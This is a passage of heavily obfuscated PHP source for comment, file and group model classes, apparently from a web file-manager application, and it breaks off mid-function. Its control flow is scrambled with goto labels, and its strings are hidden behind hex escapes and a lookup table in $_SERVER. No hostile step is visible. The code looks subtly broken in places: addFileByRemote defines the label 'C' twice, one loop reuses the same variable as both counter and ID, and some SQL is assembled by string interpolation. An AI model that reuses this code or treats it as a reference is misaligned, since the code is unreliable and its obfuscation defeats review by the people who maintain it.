bݿ; a⑨: define($_SERVER[ѽ][224], 2); define($_SERVER[ѽ][225], 3); define($_SERVER[ѽ][226], 1); goto fԈ; D: class CommentModel extends ModelBase { protected $tableName = "\x63\x6f\155\155\x65\x6e\x74"; protected $tableMeta = array("\164\141\x62\154\145\x4e\x61\x6d\x65" => "\143\157\x6d\155\x65\156\164\x5f\x6d\x65\x74\141", "\x6d\145\x74\x61\x46\151\x65\x6c\x64" => "\x63\x6f\x6d\x6d\x65\156\x74\x49\104"); const TYPE_SOURCE = 1; const TYPE_SHARE = 2; const TYPE_USER = 3; const TYPE_GROUP = 4; const TYPE_TOPIC = 5; public static $TYPEALL = array(self::TYPE_SOURCE, self::TYPE_SHARE, self::TYPE_USER, self::TYPE_GROUP, self::TYPE_TOPIC); public function addComment($EЈ) { $D =& $_SERVER[ѽ]; if ($EЈ[$D[2107]]) { $a = $this->where(array($D[2108] => $EЈ[$D[2107]]))->find(); if (!$a || $a[$D[368]] != $EЈ[$D[368]] || $a[$D[452]] != $EЈ[$D[452]]) { return !1; } $this->where(array($D[2108] => $EЈ[$D[2107]]))->setAdd($D[2109], 1); } return $this->add($EЈ); } public function remove($C) { $cǗꔌ =& $_SERVER[ѽ]; $e = array($cǗꔌ[2108] => $C); $eԑ = $this->where($e)->find(); if ($eԑ[$cǗꔌ[2107]]) { $this->where(array($cǗꔌ[2108] => $eԑ[$cǗꔌ[2107]]))->setAdd($cǗꔌ[2109], -1); } return $this->where($e)->delete(); } public function edit($cŞ, $e) { $EΛ =& $_SERVER[ѽ]; $CĒ = array($EΛ[2108] => $cŞ); return $this->where($CĒ)->save(array($EΛ[2110] => $e)); } public function prasise($A) { $eޔ =& $_SERVER[ѽ]; $b = Model($eޔ[2111]); $D˅ԍ = array($eޔ[2108] => $A, $eޔ[1408] => USER_ID); $Fݰ = $b->where($D˅ԍ)->find(); if (!$Fݰ) { $b->add($D˅ԍ); $EЯ = $this->where(array($eޔ[2108] => $A))->setAdd($eޔ[2112], 1); } else { $b->where($D˅ԍ)->delete(); $EЯ = $this->where(array($eޔ[2108] => $A))->setAdd($eޔ[2112], -1); } return $EЯ; } public function targetInfo($AȾ, $b) { goto bջ˿; bȪ: $C = "\x52\111\x47\x48\124\x20\112\x4f\x49\x4e\x20{$this->tablePrefix}\x63\157\155\155\145\156\164\137\160\x72\141\x69\x73\x65\x20\x73\164\x61\162\x20\x6f\x6e\x20\x63\x6f\155\x6d\x65\156\164\x2e\x63\157\155\x6d\x65\x6e\x74\x49\x44\x20\x3d\40\x73\164\141\162\56\143\x6f\155\155\145\156\164\111\104"; $eѿ = $this->alias($D[338])->where($Aڦ)->join($C, $D[2113])->count(); $a͑ͨ = array($D[2114] => $E, $D[2115] => $eѿ); goto D̟; D̟: return $a͑ͨ; goto cτӅ; bջ˿: $D =& $_SERVER[ѽ]; $Aڦ = array($D[517] => $AȾ, $D[518] => $b); $E = $this->where($Aڦ)->count(); goto bȪ; cτӅ: } public function listData($BĂ) { $cٱҏ =& $_SERVER[ѽ]; if (isset($BĂ[$cٱҏ[2116]])) { if ($BĂ[$cٱҏ[2116]]) { $BĂ[$cٱҏ[2117]] = array($cٱҏ[934], intval($BĂ[$cٱҏ[2116]])); } unset($BĂ[$cٱҏ[2116]]); } if (isset($BĂ[$cٱҏ[2118]])) { if ($BĂ[$cٱҏ[2118]]) { $BĂ[$cٱҏ[2117]] = array($cٱҏ[931], intval($BĂ[$cٱҏ[2118]])); } unset($BĂ[$cٱҏ[2118]]); } return $this->_listData($BĂ); } private function _listData($A) { $a =& $_SERVER[ѽ]; $d = $this->where($A)->_makeOrder()->selectPage(100); $this->_listAppendParent($d[$a[351]]); $this->_listAppendUser($d[$a[351]]); $this->_listAppendMeta($d[$a[351]]); return $d; } private function _makeOrder() { $eԿغ =& $_SERVER[ѽ]; $c = array($eԿغ[2112], $eԿغ[2109], $eԿغ[184]); $Fᙅ޿ = Input::get($eԿغ[403], $eԿغ[7], $eԿغ[386], $c); $a젾 = Input::get($eԿغ[404], $eԿغ[7], $eԿغ[1410], array($eԿغ[2119], $eԿغ[401])); $A͗ = $Fᙅ޿ . $eԿغ[50] . $a젾; return $this->order($A͗); } private function _listAppendParent(&$A˱ҫ) { goto CĈ; CĈ: $e♰ȵ =& $_SERVER[ѽ]; $A㞂 = array_unique(array_to_keyvalue($A˱ҫ, $e♰ȵ[33], $e♰ȵ[2107])); $A㞂 = array_remove_value($A㞂, $e♰ȵ[464]); goto C; B視: foreach ($A˱ҫ as &$C߃) { if (isset($aуԈ[$C߃[$e♰ȵ[2107]]])) { $C߃[$e♰ȵ[2120]] = $aуԈ[$C߃[$e♰ȵ[2107]]]; } } goto Aݔ; C: if (!$A㞂) { return; } $aуԈ = $this->where(array($e♰ȵ[2108] => array($e♰ȵ[7], $A㞂)))->select(); $aуԈ = array_to_keyvalue($aуԈ, $e♰ȵ[2117]); goto B視; Aݔ: } private function _listAppendUser(&$f) { goto CÜ; b낮➴: if (count($a䠭) == 0) { return; } foreach ($f as $b˽Ƒ) { if (isset($b˽Ƒ[$b𡣄[2120]])) { $a䠭[] = $b˽Ƒ[$b𡣄[2120]][$b𡣄[1417]]; } } $b㽮 = Model($b𡣄[473])->userListInfo($a䠭); goto e׾; e׾: foreach ($f as &$b˽Ƒ) { $b˽Ƒ[$b𡣄[531]] = $b㽮[$b˽Ƒ[$b𡣄[1417]]]; if (isset($b˽Ƒ[$b𡣄[2120]])) { $b˽Ƒ[$b𡣄[2120]][$b𡣄[531]] = $b㽮[$b˽Ƒ[$b𡣄[2120]][$b𡣄[1417]]]; } } goto Bѿ; CÜ: $b𡣄 =& $_SERVER[ѽ]; $a䠭 = array_unique(array_to_keyvalue($f, $b𡣄[33], $b𡣄[1417])); $a䠭 = array_remove_value($a䠭, $b𡣄[464]); goto b낮➴; Bѿ: } private function _listAppendMeta(&$F٤؇΍) { goto Fނм; D: if (!$Aߜ) { return; } foreach ($F٤؇΍ as $e) { if (isset($e[$e挶[2120]])) { $Aߜ[] = $e[$e挶[2120]][$e挶[2117]]; } } $eנ = $this->metaList($Aߜ); goto C̣; C̣: if (!$eנ) { return !1; } foreach ($F٤؇΍ as &$e) { $e[$e挶[413]] = $eנ[$e[$e挶[2117]]]; if (isset($e[$e挶[2120]])) { $e[$e挶[2120]][$e挶[413]] = $eנ[$e[$e挶[2120]][$e挶[2117]]]; } } goto Bψ; Fނм: $e挶 =& $_SERVER[ѽ]; $Aߜ = array_unique(array_to_keyvalue($F٤؇΍, $e挶[33], $e挶[2117])); $Aߜ = array_remove_value($Aߜ, $e挶[464]); goto D; Bψ: } private function metaList($fɍ) { goto eðϧ; EѢʅ: $A = Model($D۸[2121])->where($B)->select(); $A = array_to_keyvalue_group($A, $D۸[2117]); foreach ($A as $EɅΓ => $DŌ) { $C㔤 = array(); foreach ($DŌ as $fܹҔ) { $C㔤[$fܹҔ[$D۸[89]]] = $fܹҔ[$D۸[356]]; } $A[$EɅΓ] = $C㔤; } goto DĂ凮; DĂ凮: return $A ? $A : array(); goto Aɗ; eðϧ: $D۸ =& $_SERVER[ѽ]; if (!$fɍ) { return array(); } $B = array($D۸[2117] => array($D۸[7], $fɍ)); goto EѢʅ; Aɗ: } } class FileModel extends ModelBase { protected $tableName = "\x69\x6f\x5f\x66\x69\154\x65"; protected $tableMeta = array("\x74\141\x62\154\145\x4e\x61\155\145" => "\151\157\137\146\151\154\x65\137\x6d\x65\164\141", "\155\x65\164\x61\106\151\145\x6c\144" => "\146\151\x6c\145\x49\104"); public function fileInfo($f翙) { $E =& $_SERVER[ѽ]; static $fѰҝ = array(); if (!isset($fѰҝ[$f翙])) { $c = $E[2122]; $eם۽ = Model($E[418])->field($c)->where(array($E[416] => $f翙))->find(); $fѰҝ[$f翙] = $eם۽; } return $fѰҝ[$f翙]; } public function addFileByContent($cî犷 = '', $Cꩰ = '') { goto f۟; bޝ: $Dԛ = $D⡖ . $cۡ[2124] . rand_string(16); file_put_contents($Dԛ, $cî犷); $b̵ = $this->addFile($Dԛ, $Cꩰ, !0); goto A²; A²: if (file_exists($Dԛ)) { @unlink($Dԛ); } return $b̵; goto d; f۟: $cۡ =& $_SERVER[ѽ]; $D⡖ = TEMP_PATH . $cۡ[2123]; if (!is_dir($D⡖)) { mk_dir($D⡖); } goto bޝ; d: } public function createFileName($Aε߬) { goto Fѫ; C: $C = $C->pathFather($Eդ); static $Cǰ = false; $c똅 = $e涍[2125] . md5($C); goto A봴ݣ; Fѫ: $e涍 =& $_SERVER[ѽ]; $C = IO::init($e涍[8]); $Eդ = $this->makeFilePath($Aε߬, $C); goto C; A봴ݣ: if (!$Cǰ && !Cache::get($c똅)) { $Cǰ = !0; $Cޱ = IO::mkdir($C); if (!IO::exist($Cޱ . $e涍[2126])) { IO::mkfile($Cޱ . $e涍[2126]); } Cache::set($c똅, 1, 3600 * 2); } return $Eդ; goto Aǽ; Aǽ: } public function makeFilePath($A؏, $c) { goto d; a: switch ($F) { case $e˓[2130]: $F = $F . $e˓[93] . $c->ext($A؏); if ($c->ext($A؏) == $e˓[2070]) { $F .= $e˓[2131]; } break; case $e˓[2132]: goto f; Bܔ: break; goto c; BՑ: if ($c->ext($A؏) == $e˓[2070]) { $A؏ .= $e˓[2131]; } $A = IO::fileNameAuto($cҊ钟, $A؏); $F = $cҊ钟 . $A; goto Bܔ; f: $c绖 = Model($e˓[1092])->get($e˓[1318]); $Fٲ = substr(md5($e˓[1890] . $c绖 . date($e˓[697])), 0, 8); $cҊ钟 = KodIO::defaultIO() . date($e˓[2133]) . $Fٲ . $e˓[8]; goto BՑ; c: case $e˓[2129]: break; default: break; } return $F; goto d騡; d: $e˓ =& $_SERVER[ѽ]; $F = Model($e˓[1092])->get($e˓[2127]); $cҊ钟 = KodIO::defaultIO() . date($e˓[2128]); goto c¦; c¦: $F = $cҊ钟 . rand_string(5) . short_id(100); $A؏ = str_replace($e˓[8], $e˓[70], KodIO::clear($A؏)); if (!$A؏) { $F = $e˓[2129]; } goto a; d騡: } public function addFileByRemote($b㥌, $a񫷚, $Fĕʭ = array()) { goto C; C: $DЮ =& $_SERVER[ѽ]; if (!IO::exist($b㥌)) { return !1; } $CΉ胏 = $Fĕʭ[$DЮ[160]] ? $Fĕʭ[$DЮ[160]] : $DЮ[33]; goto C; C: $e = IO::hashMd5($b㥌, $CΉ胏); $D = KodIO::defaultDriver(); $a󢨢 = array($DЮ[516] => IO::size($b㥌), $DЮ[2134] => 1, $DЮ[383] => $a񫷚, $DЮ[745] => $D[$DЮ[364]], $DЮ[384] => $b㥌, $DЮ[2135] => $Fĕʭ[$DЮ[161]] ? $Fĕʭ[$DЮ[161]] : IO::hashSimple($b㥌), $DЮ[2136] => $e ? $e : $CΉ胏); goto Fލ; Fލ: if ($F = $this->addFileCheckExist($a󢨢[$DЮ[161]], $a󢨢[$DЮ[160]], $a󢨢[$DЮ[77]])) { return $F; } return $this->addFileData($a󢨢); goto F̝; F̝: } private function addFileData($b) { $Aߍ =& $_SERVER[ѽ]; if (!$b) { return !1; } $b[$Aߍ[77]] = intval($b[$Aߍ[77]]); if (!$b[$Aߍ[77]] && strlen($b[$Aߍ[161]]) > 32) { $b[$Aߍ[77]] = intval(substr($b[$Aߍ[161]], 32)); } $Bȑ = $this->add($b); return $this->find($Bȑ); } public function addFile($C̚, $f۰, $E̎ = false) { $fŐ = IO::hashSimple($C̚); $aχԣ௵ = IO::hashMd5($C̚); $A = IO::size($C̚); if ($bԭ = $this->addFileCheckExist($fŐ, $aχԣ௵, $A)) { return $bԭ; } $a݆썄 = $this->addFileMake($C̚, $A, $fŐ, $aχԣ௵, $f۰, $E̎); return $this->addFileData($a݆썄); } public function addFileMake($cߋ, $bƨś, $B, $bҩɛ, $a鷵, $aޱ) { goto Eѣ; e: $bԓ = get_path_this($B왕); if ($aޱ) { $cړ = IO::move($cߋ, $d׷, !1, $bԓ); } else { $cړ = IO::copy($cߋ, $d׷, !1, $bԓ); } if (!$cړ) { return !1; } goto f͖嚜; Eѣ: $BȪ =& $_SERVER[ѽ]; $B왕 = $this->createFileName($a鷵); $d׷ = get_path_father($B왕); goto e; f͖嚜: $Aתנ = KodIO::defaultDriver(); $aܮŊ = array($BȪ[516] => $bƨś, $BȪ[2134] => 1, $BȪ[383] => $a鷵, $BȪ[745] => $Aתנ[$BȪ[364]], $BȪ[384] => $B왕, $BȪ[2135] => $B, $BȪ[2136] => $bҩɛ); return $aܮŊ; goto Bǟ; Bǟ: } public function addFileCheckExist($a⼆, $cگ, $E) { $E۷ =& $_SERVER[ѽ]; $F㥄 = $this->findByHash($a⼆, $cگ); if (!$F㥄) { return !1; } $Fϙ = array($E۷[2134] => intval($F㥄[$E۷[2137]]) + 1, $E۷[516] => $E); $this->where(array($E۷[416] => $F㥄[$E۷[415]]))->save($Fϙ); return $F㥄; } public function remove($eۧ֌Έ) { $this->linkCountChange($eۧ֌Έ, !1); $this->clearEmpty(); return !0; } public function linkAdd($a) { $this->linkCountChange($a, !0); } public function linkCountChange($Fʔ, $cλ) { goto f; f: $f =& $_SERVER[ѽ]; if (!$Fʔ) { return; } if (!is_array($Fʔ)) { $Fʔ = array($Fʔ); } goto bԂ; bԂ: $bʟ = array(); foreach ($Fʔ as $Dٻ) { $e = $Dٻ . $f[33]; if (!$bʟ[$e]) { $bʟ[$e] = 0; } $bʟ[$e]++; } $D۔ = array(); goto C°ؑ; C°ؑ: foreach ($bʟ as $Dٻ => $Bͅꎼ) { $e = $Bͅꎼ . $f[33]; if (!$D۔[$e]) { $D۔[$e] = array(); } $D۔[$e][] = $Dٻ; } foreach ($D۔ as $Bͅꎼ => $dɚ֓) { if (!$dɚ֓) { continue; } $Bͅꎼ = $cλ ? $Bͅꎼ : -intval($Bͅꎼ); $f؊ = array($f[415] => array($f[7], $dɚ֓)); if ($Bͅꎼ < 0) { $f؊[$f[2137]] = array($f[935], abs($Bͅꎼ)); } $this->where($f؊)->setAdd($f[2137], $Bͅꎼ); } goto Cڧ; Cڧ: } public function findByHash($F왺, $C = false) { $C兾 =& $_SERVER[ѽ]; if (!$F왺 && !$C) { return !1; } $eݣꖡ = array($C兾[2135] => $F왺); if ($C) { $eݣꖡ = array($C兾[2136] => $C); } return $this->order($C兾[2138])->where($eݣꖡ)->find(); } public function clearEmpty($Dئ = 0) { goto C׮; C׮: $BνܱȪ =& $_SERVER[ѽ]; $BĠ = time() - 3600 * 24 * $Dئ; $Bд۱ = $BνܱȪ[2139] . $BĠ; goto AЃ; F־: foreach ($b as $B) { $A->update(1); $this->resetFile($B); } $A->end(); goto B; AЃ: $b = $this->where($Bд۱)->select(); if (!$b) { return; } $A = new Task($BνܱȪ[2140], $BνܱȪ[33], count($b)); goto F־; B: } private function resetFile($cԂ㈄) { goto b; b: $Bʈ =& $_SERVER[ѽ]; $B = array($Bʈ[416] => $cԂ㈄[$Bʈ[415]]); $fֳ = Model($Bʈ[1114])->where($B)->count(); goto aټڍ; aټڍ: $Bұ = Model($Bʈ[2141])->where($B)->count(); $A碈 = intval($fֳ) + intval($Bұ); if ($A碈 == 0) { IO::remove($cԂ㈄[$Bʈ[75]]); $this->where($B)->delete(); $this->metaSet($cԂ㈄[$Bʈ[415]], null, null); return; } goto aݳ; aݳ: if ($cԂ㈄[$Bʈ[2137]] != $A碈) { $this->where($B)->save(array($Bʈ[2134] => $A碈)); } goto e͂; e͂: } public function storageInfo($Fו = false) { goto Eʳ; Eʳ: $b❜־ =& $_SERVER[ѽ]; $bƘ = $this->count() + 0.0; $eؒ = 0; goto Fˉ; f: for ($d߲ = 0; $d߲ < $bƘ; $d߲ = $d߲ + $AҮ) { $a¡ = $this->limit($d߲, $d߲ + $AҮ)->select(); foreach ($a¡ as $e„) { $d += $e„[$b❜־[77]] * $e„[$b❜־[2137]]; $eؒ += $e„[$b❜־[77]] * ($e„[$b❜־[2137]] - 1); $a += $e„[$b❜־[2137]]; } } $dۇΞ = array($b❜־[2142] => $d, $b❜־[2143] => $eؒ, $b❜־[2144] => $eؒ / $d, $b❜־[81] => $bƘ, $b❜־[2145] => $a); return $dۇΞ; goto Eՙ; Fˉ: $d = 1; $a = 0; $AҮ = 5000; goto f; Eՙ: } } class GroupModel extends ModelBase { protected $tableName = "\x67\x72\x6f\165\160"; protected $tableMeta = array("\164\x61\x62\154\145\116\141\x6d\145" => "\147\x72\x6f\x75\160\137\x6d\145\x74\x61", "\x6d\145\x74\x61\x46\x69\145\x6c\x64" => "\147\162\157\165\x70\x49\104"); protected function cacheFunctionAlias($FףГ) { $a =& $_SERVER[ѽ]; return array($a[2146] => array($FףГ[0], $a[2147]), $a[2148] => array($FףГ[0], $a[2147])); } protected function getInfo($A…) { $B߄ꎢ = $this->getInfoSimple($A…); if (!$B߄ꎢ) { return !1; } return $this->_listDataApplyItem($B߄ꎢ); } protected function getInfoSimple($Cٻ̞, $Eۛֈ = false) { $Fҟ߹ =& $_SERVER[ѽ]; if ($Eۛֈ) { $c = array($Fҟ߹[2080] => intval($Cٻ̞)); $d𥞫 = $this->where($c)->find(); return is_array($d𥞫) ? $d𥞫 : array(); } return $this->cacheFunctionGet($Fҟ߹[2149], $Cٻ̞); } protected function groupAdd($dȇ) { goto fҽ; aթ: return $B; goto f; fҽ: $C漶 =& $_SERVER[ѽ]; if (!$dȇ[$C漶[457]] && isset($dȇ[$C漶[2080]]) && $dȇ[$C漶[2080]] == 1) { if ($E = $this->getInfoSimple($dȇ[$C漶[2080]], !0)) { return $dȇ[$C漶[2080]]; } } else { $E = $this->getInfoSimple($dȇ[$C漶[457]]); if (!$E) { return !1; } } $a = $C漶[466]; goto Bȑ; b: $B = $this->add($A௏˜); $this->setNamePinyin($B, $A௏˜[$C漶[28]]); Model($C漶[1114])->groupRootAdd($B); goto aթ; Bȑ: if ($E[$C漶[455]]) { $a = $E[$C漶[455]] . $E[$C漶[2080]] . $C漶[47]; } $A௏˜ = array($C漶[383] => $this->groupNameAuto($dȇ[$C漶[457]], $dȇ[$C漶[28]]), $C漶[365] => $dȇ[$C漶[457]], $C漶[521] => $a, $C漶[2150] => $dȇ[$C漶[2064]], $C漶[2151] => 0, $C漶[2084] => 0); if (!empty($dȇ[$C漶[2080]])) { $A௏˜[$C漶[2080]] = $dȇ[$C漶[2080]]; } goto b; f: } protected function groupEdit($e߿, $aǘ) { $bʉ =& $_SERVER[ѽ]; if (!empty($aǘ[$bʉ[457]])) { $B = $this->getInfoSimple($e߿); $C = $this->getInfoSimple($aǘ[$bʉ[457]]); if (!$B || !$C) { return !1; } if ($B[$bʉ[2080]] == $C[$bʉ[2080]]) { return !1; } if ($aǘ[$bʉ[457]] != $B[$bʉ[457]]) { if ($C[$bʉ[455]] !== $B[$bʉ[455]] && strpos($C[$bʉ[455]], $B[$bʉ[455]] . $B[$bʉ[2080]] . $bʉ[47]) === 0) { return !1; } $aǘ[$bʉ[521]] = $C[$bʉ[455]] . $aǘ[$bʉ[457]] . $bʉ[47]; $this->_changeChildLevel($B, $C); } } if (isset($aǘ[$bʉ[28]])) { $this->setNamePinyin($e߿, $aǘ[$bʉ[28]]); } return $this->where(array($bʉ[2152] => $e߿))->save($aǘ); } private function _changeChildLevel($F쌋, $F܄๽, $bܛ = false) { goto Dە; Bۈ: if ($bܛ) { $Eѱ = $F܄๽[$d[455]] . $F܄๽[$d[2080]] . $d[47]; } $D = array($d[521] => array($d[479], $F쌋[$d[455]] . $F쌋[$d[2080]] . $d[480])); $dŶ = array($d[521] => array($d[530], "\x72\x65\160\x6c\x61\x63\145\50\160\x61\x72\145\x6e\x74\x4c\145\166\145\x6c\54\47{$C񝓏}\47\x2c\47{$Eѱ}\47\x29")); goto E𫥬; E𫥬: $this->where($D)->data($dŶ)->save(); goto a; Dە: $d =& $_SERVER[ѽ]; $C񝓏 = $F쌋[$d[455]] . $F쌋[$d[2080]] . $d[47]; $Eѱ = $F܄๽[$d[455]] . $F܄๽[$d[2080]] . $d[47] . $F쌋[$d[2080]] . $d[47]; goto Bۈ; a: } public function setNamePinyin($B˂, $a𾽊 = false) { $aՕ =& $_SERVER[ѽ]; if (!$a𾽊) { $bو = $this->getInfoSimple($B˂); $a𾽊 = $bو[$aՕ[28]]; } if (!Input::check($a𾽊, $aՕ[524])) { $this->metaSet($B˂, $aՕ[412], null); $this->metaSet($B˂, $aՕ[411], null); return; } $Aꍬ = array($aՕ[412] => str_replace($aՕ[50], $aՕ[33], Pinyin::encode($a𾽊)), $aՕ[411] => Pinyin::encode($a𾽊, $aՕ[525])); $this->metaSet($B˂, $Aꍬ); } protected function groupRemove($Eۇδ) { goto fЪ; b: Model($e[762])->groupRootRemove($Eۇδ); return $this->where($c߈Ň)->delete(); goto fڣג; aݑЊ: $this->where(array($e[457] => $Eۇδ))->save(array($e[457] => $Eͪ׍[$e[457]])); Model($e[2153])->where($c߈Ň)->delete(); Model($e[2154])->where($c߈Ň)->delete(); goto b; fЪ: $e =& $_SERVER[ѽ]; $c߈Ň = array($e[2080] => $Eۇδ); $Eͪ׍ = $this->where($c߈Ň)->find(); goto fٔ; fٔ: if (!$Eͪ׍ || $Eͪ׍[$e[457]] == 0) { return !1; } $C = $this->getInfoSimple($Eͪ׍[$e[457]]); $this->_changeChildLevel($Eͪ׍, $C, !0); goto aݑЊ; fڣג: } public function listData() { $bѠ⺛ = $this->_makeOrder()->selectPage(50); $this->_listDataApply($bѠ⺛[$_SERVER[ѽ][351]]); return $bѠ⺛; } private function _makeOrder($dȖ = '') { goto A; fŋغ: $c = Input::get($b[403], $b[7], $b[2152], $c); $eߋ = Input::get($b[404], $b[7], $b[2155], array($b[2155], $b[400])); $eߋ = $D[$eߋ]; goto b; b: $dȖ = $dȖ . "{$c}\x20{$eߋ}\x2c\40\x67\x72\x6f\165\160\111\x44\x20\141\x73\143"; return $this->order($dȖ); goto EǴ; A: $b =& $_SERVER[ѽ]; $c = array($b[2080], $b[28], $b[2066], $b[184]); $D = array($b[398] => $b[399], $b[400] => $b[401]); goto fŋغ; EǴ: } public function listChild($EĈ) { $BȖ =& $_SERVER[ѽ]; $bɢ = $this->where(array($BȖ[457] => $EĈ))->_makeOrder()->selectPage(200); $this->_listDataApply($bɢ[$BȖ[351]]); return $bɢ; } public function listByID($CƤ) { $CХ =& $_SERVER[ѽ]; if (!$CƤ) { return array(); } $aҤ = array($CХ[2080] => array($CХ[7], $CƤ)); $F󫦌 = $this->where($aҤ)->select(); $this->_listDataApply($F󫦌); return $F󫦌; } public function listSearch($A) { goto Fѵ; f幙땷: if (!trim($d)) { return !1; } $d = str_replace($A򴎹[2158], $A򴎹[2159], $d); $F = array($A򴎹[2080] => array($A򴎹[761], "\45{$d}\45"), $A򴎹[28] => array($A򴎹[761], "\45{$d}\x25"), $A򴎹[920] => $A򴎹[2160]); goto A; A: $f֑ߧ = $this->_makeOrder()->where($F)->selectPage(20); $f֑ߧ = $f֑ߧ ? $f֑ߧ : array(); if (!$f֑ߧ || count($f֑ߧ[$A򴎹[351]]) < 5 && Input::check($d, $A򴎹[303])) { $b㼙 = $this->_searchFromMeta($A򴎹[411], $d, 10); $e = $this->_searchFromMeta($A򴎹[412], $d, 10); $A = array_merge($b㼙, $e, $f֑ߧ[$A򴎹[351]]); $f֑ߧ[$A򴎹[351]] = array_unique_by_key($A, $A򴎹[2080]); $f֑ߧ[$A򴎹[348]][$A򴎹[349]] = count($f֑ߧ[$A򴎹[351]]); $f֑ߧ[$A򴎹[348]][$A򴎹[350]] = ceil($f֑ߧ[$A򴎹[348]][$A򴎹[349]] / $f֑ߧ[$A򴎹[348]][$A򴎹[346]]); } goto EӺ; Fѵ: $A򴎹 =& $_SERVER[ѽ]; $d = $A[$A򴎹[2156]]; $Eף = isset($A[$A򴎹[2157]]) ? $A[$A򴎹[2157]] : !1; goto f幙땷; EӺ: $this->_listDataApply($f֑ߧ[$A򴎹[351]]); return $f֑ߧ; goto E; E: } private function _searchFromMeta($B⏆ð, $A仵, $bŸ) { goto e扺; fβʌ: $f餈 = $this->where(array($e[2152] => array($e[7], $B)))->select(); if (!$f餈) { return array(); } return $f餈; goto F𫣤; e扺: $e =& $_SERVER[ѽ]; $A仵 = strtolower($A仵); $f˥ = array($e[89] => $B⏆ð, $e[356] => array($e[761], "\x25{$A仵}\45")); goto E; E: $B = Model($e[2161])->where($f˥)->limit($bŸ)->select(); if (!$B) { return array(); } $B = array_to_keyvalue($B, $e[33], $e[2080]); goto fβʌ; F𫣤: } protected function _listDataApplyItem($F׭у) { $f⤐ = array($F׭у); $this->_listDataApply($f⤐); return $f⤐[0]; } protected function _listDataApply(&$fǪ) { goto E𰧼; E𰧼: $Cٝ =& $_SERVER[ѽ]; if (!$fǪ) { return; } $c = array_to_keyvalue($fǪ, $Cٝ[33], $Cٝ[2080]); goto Eǟ; Eǟ: $this->_listAppendChildren($fǪ); $this->_listAppendChildrenMember($fǪ); $this->_listAppendMeta($fǪ, $c); goto Eј; Eј: $this->_listAppendParent($fǪ); $this->_listAppendSourceRoot($fǪ, $c); goto Cߞ賚; Cߞ賚: } private function _listAppendChildren(&$Bǒ) { goto a̙֐; d͊: $a = count($Bǒ); $d򐃅 = $this->tablePrefix . $this->tableName; for ($D̰ = 0, $fԈ = 0; $D̰ < $a; $D̰++) { $fԈ++; $C = $Bǒ[$D̰][$d׊Ϋ[2080]]; $f琒 .= "\123\x45\x4c\105\x43\124\40\52\x20\106\x52\x4f\115\x20\50\x53\105\x4c\x45\x43\124\x20\47{$C}\x5f\x63\150\x69\x6c\144\x27\40\141\163\x20\x68\141\x73\40\x46\122\x4f\115\x20\140{$d򐃅}\x60\40\167\150\x65\162\x65\40\160\x61\162\145\x6e\x74\111\x44\75{$C}\40\154\151\x6d\151\x74\40\61\51\x20\x61\x73\x20\164\x62\x5f{$C}\40\165\x6e\x69\157\156\x20\x61\x6c\x6c\x20"; if (($fԈ >= 20 || $D̰ == $a - 1) && $f琒) { $f琒 = substr($f琒, 0, -strlen($d׊Ϋ[445])); $a = $this->query($f琒); $a򳖊 = array_merge($a򳖊, $a); $fԈ = 0; $f琒 = $d׊Ϋ[33]; } } goto bև; a̙֐: $d׊Ϋ =& $_SERVER[ѽ]; $f琒 = $d׊Ϋ[358]; $a򳖊 = array(); goto d͊; bև: $a򳖊 = array_to_keyvalue($a򳖊, $d׊Ϋ[446]); foreach ($Bǒ as &$C֯) { $C֯[$d׊Ϋ[2162]] = isset($a򳖊[$C֯[$d׊Ϋ[2080]] . $d׊Ϋ[2163]]); } goto cɲѬ; cɲѬ: } private function _listAppendChildrenMember(&$e䂞) { goto D矪ؾ; F: $bΝ = array_to_keyvalue($bΝ, $Aթ[446]); foreach ($e䂞 as &$Ă) { $Ă[$Aթ[2164]] = isset($bΝ[$Ă[$Aթ[2080]] . $Aթ[2163]]); } goto CԌ; E텵ѐ: $F؊ = count($e䂞); $f = $this->tablePrefix . $Aթ[2154]; for ($F = 0, $b = 0; $F < $F؊; $F++) { $b++; $b = $e䂞[$F][$Aթ[2080]]; $E .= "\123\105\114\x45\x43\x54\40\x2a\40\x46\122\x4f\x4d\x20\50\x53\105\x4c\105\103\124\40\x27{$b}\x5f\143\150\151\154\x64\47\x20\x61\x73\x20\x68\x61\163\x20\106\x52\x4f\115\40\140{$f}\140\x20\167\150\x65\x72\x65\40\x67\x72\157\x75\x70\x49\104\75{$b}\40\x6c\151\x6d\x69\x74\40\x31\x29\40\141\163\x20\x74\x62\137{$b}\40\x75\x6e\151\x6f\156\40\x61\x6c\154\40"; if (($b >= 20 || $F == $F؊ - 1) && $E) { $E = substr($E, 0, -strlen($Aթ[445])); $d٘ = $this->query($E); $bΝ = array_merge($bΝ, $d٘); $b = 0; $E = $Aթ[33]; } } goto F; D矪ؾ: $Aթ =& $_SERVER[ѽ]; $E = $Aթ[358]; $bΝ = array(); goto E텵ѐ; CԌ: } private function _listAppendMeta(&$Aޜ׬, $D͗ͩ) { $dڕ =& $_SERVER[ѽ]; $fß = array($dڕ[2080] => array($dڕ[7], $D͗ͩ)); $dԎ˫ = Model($dڕ[2153])->where($fß)->select(); $dԎ˫ = array_to_keyvalue_group($dԎ˫, $dڕ[2080]); foreach ($dԎ˫ as &$Eۥ) { $Eۥ = array_to_keyvalue($Eۥ, $dڕ[89], $dڕ[356]); } foreach ($Aޜ׬ as &$cᴧ) { $cᴧ[$dڕ[413]] = array(); if (isset($dԎ˫[$cᴧ[$dڕ[2080]]])) { $cᴧ[$dڕ[413]] = $dԎ˫[$cᴧ[$dڕ[2080]]]; } } } protected function parentLevelArray($Eҩ) { $Aۺ =& $_SERVER[ѽ]; $Eҩ = explode($Aۺ[47], trim($Eҩ, $Aۺ[47])); $Eҩ = array_remove_value($Eҩ, $Aۺ[464]); return $Eҩ; } private function _listAppendParent(&$e) { goto D; C鷘: foreach ($e as &$Bզ) { $eҸݽ = $this->parentLevelArray($Bզ[$cʊߛ[455]]); $D˸Η = $cʊߛ[33]; foreach ($eҸݽ as $f߅) { $D˸Η .= $c䆷[$f߅] . $cʊߛ[8]; } if ($eҸݽ) { $D˸Η .= $Bզ[$cʊߛ[28]]; } $Bզ[$cʊߛ[459]] = str_replace($cʊߛ[463], $cʊߛ[8], $D˸Η); } goto Bř; cĦ臈: $C = array(); foreach ($c䆷 as $fŽ׋ => $A吏) { if (!$A吏) { $C[] = $fŽ׋; } } if ($C) { $E鎿 = array($cʊߛ[2152] => array($cʊߛ[381], $C)); $f㧠 = $this->field($cʊߛ[2165])->where($E鎿)->select(); $A﫮 = array_to_keyvalue($f㧠, $cʊߛ[2080], $cʊߛ[28]); $c䆷 = array_merge_index($c䆷, $A﫮); } goto C鷘; D: $cʊߛ =& $_SERVER[ѽ]; $c䆷 = array(); foreach ($e as 